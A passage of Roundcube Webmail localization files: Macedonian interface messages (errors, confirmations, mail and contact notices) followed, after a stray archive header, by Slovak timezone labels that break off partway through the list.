$messages['sessionerror'] = 'Сесијата е неважечка или е истечена';
$messages['storageerror'] = 'Поврзувањето со IMAP не успеа';
$messages['servererror'] = 'Грешка во серверот!';
$messages['servererrormsg'] = 'Грешка со серверот: $msg';
$messages['accountlocked'] = 'Премногу обиди за најава. Пробајте повторно подоцна.';
$messages['connerror'] = 'Грешка со конекција (Неуспешно конектирање со серверот)!';
$messages['dberror'] = 'Грешка со датабазата!';
$messages['windowopenerror'] = 'Popup прозорецот беше блокиран!';
$messages['requesttimedout'] = 'Сесијата за барањето истече';
$messages['errorreadonly'] = 'Операцијата неможе да се изврши. Папката може само да се прегледува.';
$messages['errornoperm'] = 'Операцијата неможе да се изврши. Немате доволно пермисии.';
$messages['erroroverquota'] = 'Операцијата неможе да се изврши. Нема слободно место.';
$messages['erroroverquotadelete'] = 'Немате повеќе слободно место. Користете SHIFT+DEL да избришете порака.';
$messages['invalidrequest'] = 'Неважечко барање! Податоците не се зачувани.';
$messages['invalidhost'] = 'Името на серверот не е валидно.';
$messages['nomessagesfound'] = 'Немате писма во ова сандаче';
$messages['mailboxempty'] = 'Поштенското сандаче е празно.';
$messages['nomessages'] = 'Нема пораки';
$messages['refreshing'] = 'Освежување...';
$messages['loading'] = 'Вчитувам...';
$messages['uploading'] = 'Ја подигам податотеката...';
$messages['attaching'] = 'Датотеката се прикачува...';
$messages['uploadingmany'] = 'Датотеките се прикачуваат...';
$messages['loadingdata'] = 'Ги вчитувам податоците...';
$messages['checkingmail'] = 'Проверувам нова пошта...';
$messages['sendingmessage'] = 'Ја испраќам пораката...';
$messages['messagesent'] = 'Пораката е успешно испратена';
$messages['savingmessage'] = 'Ја зачувувам пораката...';
$messages['messagesaved'] = 'Пораката е зачувана во Непратени';
$messages['successfullysaved'] = 'Успешно зачувано';
$messages['savingresponse'] = 'Одговорот се снима...';
$messages['deleteresponseconfirm'] = 'Избриши го одговорот?';
$messages['addedsuccessfully'] = 'Името е успешно додадено во Именикот';
$messages['contactexists'] = 'Контакт со иста адреса на Е-пошта веќе постои.';
$messages['contactnameexists'] = 'Контакт со истото име веќе постои.';
$messages['blockedimages'] = 'За да се заштити вашата приватност, сликите во оваа порака не се прикажани.';
$messages['encryptedmessage'] = 'Оваа порака е кодирана и не може да се прикаже. Жалиме!';
$messages['externalmessagedecryption'] = 'Ова е енкриптирана порака и може да се декриптира со вашата ехтензија.';
$messages['nopubkeyfor'] = 'Не е пронајден јавен клуч за $email';
$messages['nopubkeyforsender'] = 'Не е пронајден валиден јавен сертификат за идентитетот на испараќачот. Дали сакате да ја енкриптирате пораката само за примачите ?';
$messages['encryptnoattachments'] = 'Веќе прикачени додатоци не може да се енкриптираат. Ве молиме додадете ги повторно во уредникот за енкрипција.';
$messages['searchpubkeyservers'] = 'Дали сакате да ги пребарувате јавните клуч сервери за клучевите што недостасуваат?';
$messages['encryptpubkeysfound'] = 'Следниот јавен клуч е пронајден:';
$messages['nocontactsfound'] = 'Нема пронајдено имиња.';
$messages['contactnotfound'] = 'Бараното име не е пронајдено';
$messages['sendingfailed'] = 'Не упеав да го испратам писмото';
$messages['senttooquickly'] = 'Почекајте $sec секунда/и пред да го испратите писмото';
$messages['errorsavingsent'] = 'Се случи грешка при снимањето на испратената порака.';
$messages['errorsaving'] = 'Се случи грешка при снимањето.';
$messages['errormoving'] = 'Не можев да го преместам писмото';
$messages['errorcopying'] = 'Пораката (пораките) не е успешно ископрана.';
$messages['errordeleting'] = 'Не можев да го избришам писмото';
$messages['errormarking'] = 'Не можев да го обележам писмото';
$messages['deletecontactconfirm']  = 'Дали сте сигурни дека сакате да го избришете одбраното(те) име(ња)?';
$messages['deletegroupconfirm']  = 'Избриши ја изберената група?';
$messages['deletemessagesconfirm'] = 'Дали сте сигурни дека сакате да го(и) избришете обележаниот(те) писмо(а)?';
$messages['deletefolderconfirm']  = 'Дали сте сигурни дека сакате да ја избришете оваа папка?';
$messages['purgefolderconfirm']  = 'Дали сте сигурни дека сакате да ги избршете сите писма во оваа папка?';
$messages['contactdeleting'] = 'Контактот (контактите) се брише....';
$messages['groupdeleting'] = 'Бришење група...';
$messages['folderdeleting'] = 'Ја бришам папката...';
$messages['foldermoving'] = 'Ја преместувам папката...';
$messages['foldersubscribing'] = 'Претплатување папка...';
$messages['folderunsubscribing'] = 'Отпишување папка...';
$messages['formincomplete'] = 'Имате изоставено непополнети информации';
$messages['noemailwarning'] = 'Внесете валидна е-поштенска адреса';
$messages['nonamewarning']  = 'Внесете име';
$messages['nopagesizewarning'] = 'Внесете големина на страницата';
$messages['nosenderwarning'] = 'Ве молиме внесете е-пошта на праќач';
$messages['norecipientwarning'] = 'Внесете барем еден примач';
$messages['disclosedrecipwarning'] = 'Сите приматели ке ги разгледуваат емаил адресите. За да го спречите ова и да ја заштитите нивната приватност, можете да го користите полето Bcc.';
$messages['disclosedreciptitle'] = 'Бремногу јавни приматели';
$messages['nosubjectwarning']  = 'Немате внесено „Наслов“. Дали сакате да внесете?';
$messages['nosubjecttitle']  = 'Нема предмет';
$messages['nobodywarning'] = 'Писмото нема текст во него. Дали сакате да го испратите?';
$messages['notsentwarning'] = 'Пораката не е пратена и има незачувани промени. Дали сакате да ги отфрлите промените?';
$messages['restoresavedcomposedata'] = 'Претходно компонирана но не испратена порака е пронајдена.\n\n$предмет\nЗачувано: $дата\n\n Дали сакате да ја вратите оваа порака?';
$messages['nosearchname'] = 'Внесете име или е-поштенска адреса';
$messages['notuploadedwarning'] = 'Сè уште нема подигнати прилози. Почекајте или откажете го подигањето';
$messages['searchsuccessful'] = 'Пронајадени се $nr пораки';
$messages['contactsearchsuccessful'] = '$nr контакти пронајдено.';
$messages['searchnomatch'] = 'Пребарувањето не даде резлутати';
$messages['searching'] = 'Пребарувам....';
$messages['checking'] = 'Проверувам...';
$messages['stillsearching'] = 'Пребарувањето трае уште...';
$messages['nospellerrors'] = 'Нема грешки во спелувањето';
$messages['folderdeleted'] = 'Папката е успешно избришана';
$messages['foldersubscribed'] = 'Успешно претплатена папка.';
$messages['folderunsubscribed'] = 'Успешно отпишана папк.';
$messages['deletedsuccessfully'] = 'Успешно избришано';
$messages['converting'] = 'Форматирањето на писмото е отстрането...';
$messages['messageopenerror'] = 'Не можев да го вчитам писното од серверот';
$messages['filelinkerror'] = 'Прикачувањето на дадотеката е неуспешно.';
$messages['fileuploaderror'] = 'Прикачувањето е неуспешно';
$messages['filesizeerror'] = 'Подигнатата податотека го надминува ограничувањето од $size';
$messages['filecounterror'] = 'Мозе да прикачиш максимум $count датотеки одеднаш.';
$messages['msgsizeerror'] = 'Не успеа да прикачувањето на датотекта.Максималната големина на пораката ($size) е надмината.';
$messages['copysuccess'] = 'Успешно копирани $nr контакти.';
$messages['movesuccess'] = 'успешно преместени $nr контакти.';
$messages['copyerror'] = 'Не можеше да се копираат контакти.';
$messages['moveerror'] = 'Не можеше да се преместат контакти.';
$messages['sourceisreadonly'] = 'Изворот на оваа адреса неможе да се промени';
$messages['errorsavingcontact'] = 'Името неможе да се сними';
$messages['movingmessage'] = 'Пораката се преместува...';
$messages['copyingmessage'] = 'Копирање порака(и)...';
$messages['copyingcontact'] = 'Копирање контакт(и)...';
$messages['movingcontact'] = 'Преместување контакт(и)...';
$messages['deletingmessage'] = 'Бришање порака(и)...';
$messages['markingmessage'] = 'Обележување порака(и)...';
$messages['addingmember'] = 'Додавање контакт(и) во групата...';
$messages['removingmember'] = 'Отстранување контакт(и) оф групата...';
$messages['receiptsent'] = 'Известувањето е успешно пратено';
$messages['errorsendingreceipt'] = 'Известувањето не е пратено';
$messages['deleteidentityconfirm'] = 'Дали навистина сакаш да го избришеш овој идентитет?';
$messages['nodeletelastidentity'] = 'Овој идентитет неможе да се избрише, тој е последниот.';
$messages['forbiddencharacter'] = 'Името на папката содржи несоодветен формат';
$messages['selectimportfile'] = 'Изберете ја податотеката која сакате да ја прикачите';
$messages['addresswriterror'] = 'Одбраниот именик не може да се менува';
$messages['contactaddedtogroup'] = 'Успешно дададени контакти во групата.';
$messages['contactremovedfromgroup'] = 'Успешно отстранети контакти од групата.';
$messages['nogroupassignmentschanged'] = 'Не се промениле групните задачи.';
$messages['importwait'] = 'Убезувам,, почекајте...';
$messages['importformaterror'] = 'Внесувањето не успеа! Пркачената датотека не е валидна датотека за внес.';
$messages['importconfirm'] = '<b>Успешно се увезени $inserted имиња, $skipped веќе постојат и се прескокнати</b>:<p><em>$names</em></p>';
$messages['importconfirmskipped'] = '<b>Скокнато $skipped постоечки записи</b>';
$messages['importmessagesuccess'] = 'Успешно внесени $nr пораки';
$messages['importmessageerror'] = 'Внесувањето не успеа! Прикачената датотека не е валидна порака или датотека од сандаче';
$messages['opnotpermitted'] = 'Операцијата не е дозволена';
$messages['nofromaddress'] = 'Недостасува емиал адреса во селектираниот идентитет.';
$messages['editorwarning'] = 'Менување на типот на едитор може да предизвика губење на текс форматирањето.  Дали сакате да продолжите? ';
$messages['httpreceivedencrypterror'] = 'Се појави фатална конфигурациска грешка. Веднаш контактирајте го администраторот. <b>Вашето писмо не мож.</b>';
$messages['smtpconnerror'] = 'SMTP грешка ($code): Не успеав да се поврзам со серверот';
$messages['smtpautherror'] = 'SMTP грешка: Не успееа потврдувањето';
$messages['smtpfromerror'] = 'SMTP грешка ($code): Не успеав да го поставам испраќачот „$from“ ($msg)';
$messages['smtptoerror'] = 'SMTP грешка ($code): Не успеав да го поставам примачот „$yo“ ($msg)';
$messages['smtprecipientserror'] = 'SMTP грешка: Не успеав да ја испарсирам листата на примачи';
$messages['smtperror'] = 'SMTP Error: $msg';
$messages['emailformaterror'] = 'Невалидна емаил адреса: $email ';
$messages['toomanyrecipients'] = 'Премногу примачи. Намалете го бројот на примачи на $max.';
$messages['maxgroupmembersreached'] = 'Бројот на членови на групата го надминува максимумот од $max.';
$messages['internalerror'] = 'настана внатрешна грешка. Ве молиме обидете се повторно.';
$messages['contactdelerror'] = 'Не можеше да се избришат контакт(и).';
$messages['contactdeleted'] = 'Контакт(и) беа успешно избришани.';
$messages['contactrestoreerror'] = 'Избришаниот контакт(и) не може да се врати.';
$messages['contactrestored'] = 'Контактот(ите) се успешно вратени.';
$messages['groupdeleted'] = 'Групата е успешно избришана.';
$messages['grouprenamed'] = 'Групата е успешно преименувана.';
$messages['groupcreated'] = 'Групата е успешно создадена.';
$messages['savedsearchdeleted'] = 'Зачуваните пребарувања се успешно избришани.';
$messages['savedsearchdeleteerror'] = 'Не можеше на се избришат зачуваните пребарувања ';
$messages['savedsearchcreated'] = 'Зачувани пребарувања беа успешно креирани.';
$messages['savedsearchcreateerror'] = 'Не можеше да е креираат зачувани пребарувања.';
$messages['messagedeleted'] = 'Порака(ите) беа успешно избришани.';
$messages['messagemoved'] = 'Порака(ите) беа успешно преместени.';
$messages['messagemovedtotrash'] = 'Порака(ите) беа успешно преместени во ѓубрето.';
$messages['messagecopied'] = 'Порака(ите) беа успешно копирани.';
$messages['messagemarked'] = 'Порака(ите) беа успешно обележани.';
$messages['autocompletechars'] = 'Внесете барем $min карактери за автоматско завршување.';
$messages['autocompletemore'] = 'Пронајдени се повеќе исти внесови. Ве молиме внесете повеќе знаци.';
$messages['namecannotbeempty'] = 'Името не може да биде празно.';
$messages['nametoolong'] = 'Името е предолго.';
$messages['namedotforbidden'] = 'Името на папката не може да почнува со точка.';
$messages['folderupdated'] = 'Папката е успешно ажурирана.';
$messages['foldercreated'] = 'Папката е успешно креирана.';
$messages['invalidimageformat'] = 'Невалиден формат на слика.';
$messages['mispellingsfound'] = 'Детектирана е правописна грешка во пораката.';
$messages['parentnotwritable'] = 'Невозможно да се креира/премести папката во селектираната папка родител. Нема права на пристап.';
$messages['messagetoobig'] = 'Делот со пораката е преголем за да се процесира.';
$messages['noscriptwarning'] = 'Прдупредување: Овој webmail сервис бара Javascript! За да го користите ве молиме вклучете го Javascript во поставувањата на вашиот пребарувач.';
$messages['messageissent'] = 'Оваа порака беше пратена, но сеуште не е зачувана. Дали сакате да ја зачувате сега ? ';
$messages['errnotfound'] = 'Датотеката не е најдена';
$messages['errnotfoundexplain'] = 'Бараниот ресурс не беше пронајден!';
$messages['errfailedrequest'] = 'Неуспешно барање';
$messages['errauthorizationfailed'] = 'Овластувањето не успеа';
$messages['errunauthorizedexplain'] = 'Не може да се потврди дали вие се обвластени да пристапите до овој сервис! ';
$messages['errrequestcheckfailed'] = 'Барањето за проверка не успеа';
$messages['errcsrfprotectionexplain'] = "За ваша заштита, пристапот до овој ресурс е обезбеден против CSRF.\n ако го видите ова, вие најверојатно не сте се одјавиле пред напуштање на веб апликацијата. \n\n Сега е потребна човечка интеракција за да продолжите.";
$messages['errcontactserveradmin'] = 'Ве молиме контактирајте го вашиот сервер администратор.';
$messages['clicktoresumesession'] = 'Кликнете овде за да продолжите со претходната сесија';
$messages['errcomposesession'] = 'Грешка при компонирање сесија';
$messages['errcomposesessionexplain'] = 'Бараната композиција на сесија не е најдена.';
$messages['clicktocompose'] = 'Кликнете овде за да компонирате нова порака';
PK
h�\}9��OO(program/localization/sk_SK/timezones.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail client                     |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/timezones/
*/

$labels['tz:utc'] = 'UTC';
$labels['tz:africa'] = 'Afrika';
$labels['tz:africa:abidjan'] = 'Abidjan';
$labels['tz:africa:accra'] = 'Akkra';
$labels['tz:africa:addis_ababa'] = 'Addis Abeba';
$labels['tz:africa:algiers'] = 'Alžír';
$labels['tz:africa:asmara'] = 'Asmara';
$labels['tz:africa:bamako'] = 'Bamako';
$labels['tz:africa:bangui'] = 'Bangui';
$labels['tz:africa:banjul'] = 'Banjul';
$labels['tz:africa:bissau'] = 'Bissau';
$labels['tz:africa:blantyre'] = 'Blantyre';
$labels['tz:africa:brazzaville'] = 'Brazzaville';
$labels['tz:africa:bujumbura'] = 'Bujumbura';
$labels['tz:africa:cairo'] = 'Káhira';
$labels['tz:africa:casablanca'] = 'Casablanca';
$labels['tz:africa:ceuta'] = 'Ceuta';
$labels['tz:africa:conakry'] = 'Konakry';
$labels['tz:africa:dakar'] = 'Dakar';
$labels['tz:africa:dar_es_salaam'] = 'Dar es Salám';
$labels['tz:africa:djibouti'] = 'Džibuti';
$labels['tz:africa:douala'] = 'Douala';
$labels['tz:africa:el_aaiun'] = 'El-Aaiún';
$labels['tz:africa:freetown'] = 'Freetown';
$labels['tz:africa:gaborone'] = 'Gaborone';
$labels['tz:africa:harare'] = 'Harare';
$labels['tz:africa:johannesburg'] = 'Johannesburg';
$labels['tz:africa:juba'] = 'Džúbá';
$labels['tz:africa:kampala'] = 'Kampala';
$labels['tz:africa:khartoum'] = 'Chartúm';
$labels['tz:africa:kigali'] = 'Kigali';
$labels['tz:africa:kinshasa'] = 'Kinshasa';
$labels['tz:africa:lagos'] = 'Lagos';
$labels['tz:africa:libreville'] = 'Libreville';
$labels['tz:africa:lome'] = 'Lomé';
$labels['tz:africa:luanda'] = 'Luanda';
$labels['tz:africa:lubumbashi'] = 'Lubumbashi';
$labels['tz:africa:lusaka'] = 'Lusaka';
$labels['tz:africa:malabo'] = 'Malabo';
$labels['tz:africa:maputo'] = 'Maputo';
$labels['tz:africa:maseru'] = 'Maseru';
$labels['tz:africa:mbabane'] = 'Mbabane';
$labels['tz:africa:mogadishu'] = 'Mogadišo';
$labels['tz:africa:monrovia'] = 'Monrovia';
$labels['tz:africa:nairobi'] = 'Nairobi';
$labels['tz:africa:ndjamena'] = 'N´Djamena';
$labels['tz:africa:niamey'] = 'Niamey';
$labels['tz:africa:nouakchott'] = 'Nouakchott';
$labels['tz:africa:ouagadougou'] = 'Ouagadougou';
$labels['tz:africa:porto-novo'] = 'Porto Novo';
$labels['tz:africa:sao_tome'] = 'Svätý Tomáš';
$labels['tz:africa:tripoli'] = 'Tripolis';
$labels['tz:africa:tunis'] = 'Tunis';
$labels['tz:africa:windhoek'] = 'Windhoek';
$labels['tz:america'] = 'Amerika';
$labels['tz:america:adak'] = 'Adak';
$labels['tz:america:anchorage'] = 'Anchorage';
$labels['tz:america:anguilla'] = 'Anguilla';
$labels['tz:america:antigua'] = 'Antigua';
$labels['tz:america:araguaina'] = 'Araguaina';
$labels['tz:america:argentina'] = 'Argentína';
$labels['tz:america:argentina:buenos_aires'] = 'Buenos Aires';
$labels['tz:america:argentina:catamarca'] = 'Catamarca';
$labels['tz:america:argentina:cordoba'] = 'Córdoba';
$labels['tz:america:argentina:jujuy'] = 'Jujuy';
$labels['tz:america:argentina:la_rioja'] = 'La Rioja';
$labels['tz:america:argentina:mendoza'] = 'Mendoza';
$labels['tz:america:argentina:rio_gallegos'] = 'Rio Gallegos';
$labels['tz:america:argentina:salta'] = 'Salta';
$labels['tz:america:argentina:san_juan'] = 'San Juan';
$labels['tz:america:argentina:san_luis'] = 'San Luis';
$labels['tz:america:argentina:tucuman'] = 'Tucuman';
$labels['tz:america:argentina:ushuaia'] = 'Ushuaia';
$labels['tz:america:aruba'] = 'Aruba';
$labels['tz:america:asuncion'] = 'Asunción';
$labels['tz:america:atikokan'] = 'Atikokan';
$labels['tz:america:bahia'] = 'Bahia';
$labels['tz:america:bahia_banderas'] = 'Bahia Banderas';
$labels['tz:america:barbados'] = 'Barbados';
$labels['tz:america:belem'] = 'Belem';
$labels['tz:america:belize'] = 'Belize';
$labels['tz:america:blanc-sablon'] = 'Blanc-Sablon';
$labels['tz:america:boa_vista'] = 'Boa Vista';
$labels['tz:america:bogota'] = 'Bogota';
$labels['tz:america:boise'] = 'Boise';
$labels['tz:america:cambridge_bay'] = 'Cambridge Bay';
$labels['tz:america:campo_grande'] = 'Campo Grande';
$labels['tz:america:cancun'] = 'Cancún';
$labels['tz:america:caracas'] = 'Caracas';
$labels['tz:america:cayenne'] = 'Cayenne';
$labels['tz:america:cayman'] = 'Kajmanie ostrovy';
$labels['tz:america:chicago'] = 'Chicago';
$labels['tz:america:chihuahua'] = 'Chihuahua';
$labels['tz:america:costa_rica'] = 'Kostarika';
$labels['tz:america:creston'] = 'Creston';
$labels['tz:america:cuiaba'] = 'Cuiaba';
$labels['tz:america:curacao'] = 'Curaçao';
$labels['tz:america:danmarkshavn'] = 'Danmarkshavn';
$labels['tz:america:dawson'] = 'Dawson';
$labels['tz:america:dawson_creek'] = 'Dawson Creek';
$labels['tz:america:denver'] = 'Denver';
$labels['tz:america:detroit'] = 'Detroit';
$labels['tz:america:dominica'] = 'Dominika';
$labels['tz:america:edmonton'] = 'Edmonton';
$labels['tz:america:eirunepe'] = 'Eirunepé';
$labels['tz:america:el_salvador'] = 'El Salvador';
$labels['tz:america:fort_nelson'] = 'Fort Nelson';
$labels['tz:america:fortaleza'] = 'Fortaleza';
$labels['tz:america:glace_bay'] = 'Glace Bay';
$labels['tz:america:godthab'] = 'Godthab';
$labels['tz:america:goose_bay'] = 'Goose Bay';
$labels['tz:america:grand_turk'] = 'Grand Turk';
$labels['tz:america:grenada'] = 'Grenada';
$labels['tz:america:guadeloupe'] = 'Guadeloupe';
$labels['tz:america:guatemala'] = 'Guatemala';
$labels['tz:america:guayaquil'] = 'Guayaquil';
$labels['tz:america:guyana'] = 'Guyana';
$labels['tz:america:halifax'] = 'Halifax';
$labels['tz:america:havana'] = 'Havana';
$labels['tz:america:hermosillo'] = 'Hermosillo';
$labels['tz:america:indiana'] = 'Indiana';
$labels['tz:america:indiana:indianapolis'] = 'Indianapolis';
$labels['tz:america:indiana:knox'] = 'Knox';
$labels['tz:america:indiana:marengo'] = 'Marengo';
$labels['tz:america:indiana:petersburg'] = 'Petersburg';
$labels['tz:america:indiana:tell_city'] = 'Tell City';
$labels['tz:america:indiana:vevay'] = 'Vevay';
$labels['tz:america:indiana:vincennes'] = 'Vincennes';
$labels['tz:america:indiana:winamac'] = 'Winamac';
$labels['tz:america:inuvik'] = 'Inuvik';
$labels['tz:america:iqaluit'] = 'Iqaluit';
$labels['tz:america:jamaica'] = 'Jamajka';
$labels['tz:america:juneau'] = 'Juneau';
$labels['tz:america:kentucky'] = 'Kentucky';
$labels['tz:america:kentucky:louisville'] = 'Louisville';
$labels['tz:america:kentucky:monticello'] = 'Monticello';
$labels['tz:america:kralendijk'] = 'Kralendijk';
$labels['tz:america:la_paz'] = 'La Paz';
$labels['tz:america:lima'] = 'Lima';
$labels['tz:america:los_angeles'] = 'Los Angeles';
$labels['tz:america:lower_princes'] = 'Lower Princes';
$labels['tz:america:maceio'] = 'Maceio';
$labels['tz:america:managua'] = 'Managua';
$labels['tz:america:manaus'] = 'Manaus';
$labels['tz:america:marigot'] = 'Marigot';
$labels['tz:america:martinique'] = 'Martinik';
$labels['tz:america:matamoros'] = 'Matamoros';
$labels['tz:america:mazatlan'] = 'Mazatlan';
$labels['tz:america:menominee'] = 'Menominee';
$labels['tz:america:merida'] = 'Merida';
$labels['tz:america:metlakatla'] = 'Metlakatla';
$labels['tz:america:mexico_city'] = 'Mexico City';
$labels['tz:america:miquelon'] = 'Miquelon';
$labels['tz:america:moncton'] = 'Moncton';
$labels['tz:america:monterrey'] = 'Monterrey';
$labels['tz:america:montevideo'] = 'Montevideo';
$labels['tz:america:montserrat'] = 'Montserrat';
$labels['tz:america:nassau'] = 'Nassau';
$labels['tz:america:new_york'] = 'New York';
$labels['tz:america:nipigon'] = 'Nipigon';
$labels['tz:america:nome'] = 'Nome';
$labels['tz:america:noronha'] = 'Noronha';
$labels['tz:america:north_dakota'] = 'Severná Dakota';
$labels['tz:america:north_dakota:beulah'] = 'Beulah';
$labels['tz:america:north_dakota:center'] = 'Center';
$labels['tz:america:north_dakota:new_salem'] = 'New Salem';
$labels['tz:america:ojinaga'] = 'Ojinaga';
$labels['tz:america:panama'] = 'Panama';
$labels['tz:america:pangnirtung'] = 'Pangnirtung';
$labels['tz:america:paramaribo'] = 'Paramaribo';
$labels['tz:america:phoenix'] = 'Phoenix';
$labels['tz:america:port-au-prince'] = 'Port-au-Prince';
$labels['tz:america:port_of_spain'] = 'Port of Spain';
$labels['tz:america:porto_velho'] = 'Porto Velho';
$labels['tz:america:puerto_rico'] = 'Puerto Rico';
$labels['tz:america:rainy_river'] = 'Rainy River';
$labels['tz:america:rankin_inlet'] = 'Rankin Inlet';
$labels['tz:america:recife'] = 'Recife';
$labels['tz:america:regina'] = 'Regina';
$labels['tz:america:resolute'] = 'Resolute';
$labels['tz:america:rio_branco'] = 'Rio Branco';
$labels['tz:america:santarem'] = 'Santarém';
$labels['tz:america:santiago'] = 'Santiago';
$labels['tz:america:santo_domingo'] = 'Santo Domingo';
$labels['tz:america:sao_paulo'] = 'Sao Paulo';
$labels['tz:america:scoresbysund'] = 'Scoresbysund';
$labels['tz:america:sitka'] = 'Sitka';
$labels['tz:america:st_barthelemy'] = 'Svätý Bartolomej';
$labels['tz:america:st_johns'] = "Saint John's";
$labels['tz:america:st_kitts'] = 'Svätý Krištof';
$labels['tz:america:st_lucia'] = 'Svätá Lucia';
$labels['tz:america:st_thomas'] = 'Saint Thomas';
$labels['tz:america:st_vincent'] = 'Svätý Vincent';
$labels['tz:america:swift_current'] = 'Swift Current';
$labels['tz:america:tegucigalpa'] = 'Tegucigalpa';
$labels['tz:america:thule'] = 'Thule';
$labels['tz:america:thunder_bay'] = 'Thunder Bay';
$labels['tz:america:tijuana'] = 'Tijuana';
$labels['tz:america:toronto'] = 'Toronto';
$labels['tz:america:tortola'] = 'Tortola';
$labels['tz:america:vancouver'] = 'Vancouver';
$labels['tz:america:whitehorse'] = 'Whitehorse';
$labels['tz:america:winnipeg'] = 'Winnipeg';
$labels['tz:america:yakutat'] = 'Yakutat';
$labels['tz:america:yellowknife'] = 'Yellowknife';
$labels['tz:antarctica'] = 'Antarktída';
$labels['tz:antarctica:casey'] = 'Casey';
$labels['tz:antarctica:davis'] = 'Davis';
$labels['tz:antarctica:dumontdurville'] = "Dumont d'Urville";
$labels['tz:antarctica:macquarie'] = 'Macquarie';
$labels['tz:antarctica:mawson'] = 'Mawson';
$labels['tz:antarctica:mcmurdo'] = 'McMurdo';
$labels['tz:antarctica:palmer'] = 'Palmer';
$labels['tz:antarctica:rothera'] = 'Rothera';
$labels['tz:antarctica:syowa'] = 'Syowa';
$labels['tz:antarctica:troll'] = 'Troll';
$labels['tz:antarctica:vostok'] = 'Vostok';
$labels['tz:arctic'] = 'Arctic';
$labels['tz:arctic:longyearbyen'] = 'Longyearbyen';
$labels['tz:asia'] = 'Ázia';
$labels['tz:asia:aden'] = 'Aden';
$labels['tz:asia:almaty'] = 'Alma-Ata';
$labels['tz:asia:amman'] = 'Ammán';
$labels['tz:asia:anadyr'] = 'Anadyr';
$labels['tz:asia:aqtau'] = 'Aqtau';
$labels['tz:asia:aqtobe'] = 'Aqtobe';
$labels['tz:asia:ashgabat'] = 'Ashgabat';
$labels['tz:asia:atyrau'] = 'Atyrau';
$labels['tz:asia:baghdad'] = 'Bagdad';
$labels['tz:asia:bahrain'] = 'Bahrajn';
$labels['tz:asia:baku'] = 'Baku';
$labels['tz:asia:bangkok'] = 'Bangkok';
$labels['tz:asia:barnaul'] = 'Barnaul';
$labels['tz:asia:beirut'] = 'Bejrút';
$labels['tz:asia:bishkek'] = 'Biškek';
$labels['tz:asia:brunei'] = 'Brunej';
$labels['tz:asia:chita'] = 'Čita';
$labels['tz:asia:choibalsan'] = 'Choibalsan';
$labels['tz:asia:colombo'] = 'Kolombo';
$labels['tz:asia:damascus'] = 'Damask';
$labels['tz:asia:dhaka'] = 'Dháka';
$labels['tz:asia:dili'] = 'Dili';
$labels['tz:asia:dubai'] = 'Dubaj';
$labels['tz:asia:dushanbe'] = 'Dušanbe';
$labels['tz:asia:famagusta'] = 'Famagusta';
$labels['tz:asia:gaza'] = 'Gaza';
$labels['tz:asia:hebron'] = 'Hebron';
$labels['tz:asia:ho_chi_minh'] = 'Hočiminovo Mesto';
$labels['tz:asia:hong_kong'] = 'Hong Kong';
$labels['tz:asia:hovd'] = 'Hovd';
$labels['tz:asia:irkutsk'] = 'Irkutsk';
$labels['tz:asia:jakarta'] = 'Jakarta';
$labels['tz:asia:jayapura'] = 'Jayapura';
$labels['tz:asia:jerusalem'] = 'Jeruzalem';
$labels['tz:asia:kabul'] = 'Kábul';
$labels['tz:asia:kamchatka'] = 'Kamčatka';
$labels['tz:asia:karachi'] = 'Karáči';
$labels['tz:asia:kathmandu'] = 'Káthmandu';
$labels['tz:asia:khandyga'] = 'Khandyga';
$labels['tz:asia:kolkata'] = 'Kalkata';
$labels['tz:asia:krasnoyarsk'] = 'Krasnojarsk';
$labels['tz:asia:kuala_lumpur'] = 'Kuala Lumpur';
$labels['tz:asia:kuching'] = 'Kuching';
$labels['tz:asia:kuwait'] = 'Kuvajt';
$labels['tz:asia:macau'] = 'Macau';
$labels['tz:asia:magadan'] = 'Magadan';
$labels['tz:asia:makassar'] = 'Makassar';
$labels['tz:asia:manila'] = 'Manila';
$labels['tz:asia:muscat'] = 'Maskat';
$labels['tz:asia:nicosia'] = 'Nikózia';
$labels['tz:asia:novokuznetsk'] = 'Novokuzneck';
$labels['tz:asia:novosibirsk'] = 'Novosibirsk';
$labels['tz:asia:omsk'] = 'Omsk';
$labels['tz:asia:oral'] = 'Oral';
$labels['tz:asia:phnom_penh'] = 'Phnom Penh';
$labels['tz:asia:pontianak'] = 'Pontianak';
$labels['tz:asia:pyongyang'] = 'Pchjongjang';
$labels['tz:asia:qatar'] = 'Katar';
$labels['tz:asia:qyzylorda'] = 'Qyzylorda';
$labels['tz:asia:riyadh'] = 'Rijád';
$labels['tz:asia:sakhalin'] = 'Sachalin';
$labels['tz:asia:samarkand'] = 'Samarkand';
$labels['tz:asia:seoul'] = 'Soul';
$labels['tz:asia:shanghai'] = 'Šanghaj';
$labels['tz:asia:singapore'] = 'Singapur';
$labels['tz:asia:srednekolymsk'] = 'Srednekolymsk';
$labels['tz:asia:taipei'] = 'Tchaj-pej';
$labels['tz:asia:tashkent'] = 'Taškent';
$labels['tz:asia:tbilisi'] = 'Tbilisi';
$labels['tz:asia:tehran'] = 'Teherán';
$labels['tz:asia:thimphu'] = 'Thimphu';
$labels['tz:asia:tokyo'] = 'Tokio';
$labels['tz:asia:tomsk'] = 'Tomsk';
$labels['tz:asia:ulaanbaatar'] = 'Ulanbátar';
$labels['tz:asia:urumqi'] = 'Urumqi';
$labels['tz:asia:ust-nera'] = 'Ust-Nera';
$labels['tz:asia:vientiane'] = 'Vientian';
$labels['tz:asia:vladivostok'] = 'Vladivostok';
$labels['tz:asia:yakutsk'] = 'Jakutsk';
$labels['tz:asia:yangon'] = 'Rangún';
$labels['tz:asia:yekaterinburg'] = 'Jekaterinburg';
$labels['tz:asia:yerevan'] = 'Jerevan';
$labels['tz:atlantic'] = 'Atlantik';
$labels['tz:atlantic:azores'] = 'Azory';
$labels['tz:atlantic:bermuda'] = 'Bermudy';
$labels['tz:atlantic:canary'] = 'Kanárske ostrovy';
$labels['tz:atlantic:cape_verde'] = 'Kapverdy';
$labels['tz:atlantic:faroe'] = 'Faerské ostrovy';
$labels['tz:atlantic:madeira'] = 'Madeira';
$labels['tz:atlantic:reykjavik'] = 'Reykjavík';
$labels['tz:atlantic:south_georgia'] = 'Južná Georgia';
$labels['tz:atlantic:st_helena'] = 'Sv. Helena';
$labels['tz:atlantic:stanley'] = 'Stanley';
$labels['tz:australia'] = 'Austrália';
$labels['tz:australia:adelaide'] = 'Adelaide';
$labels['tz:australia:brisbane'] = 'Brisbane';
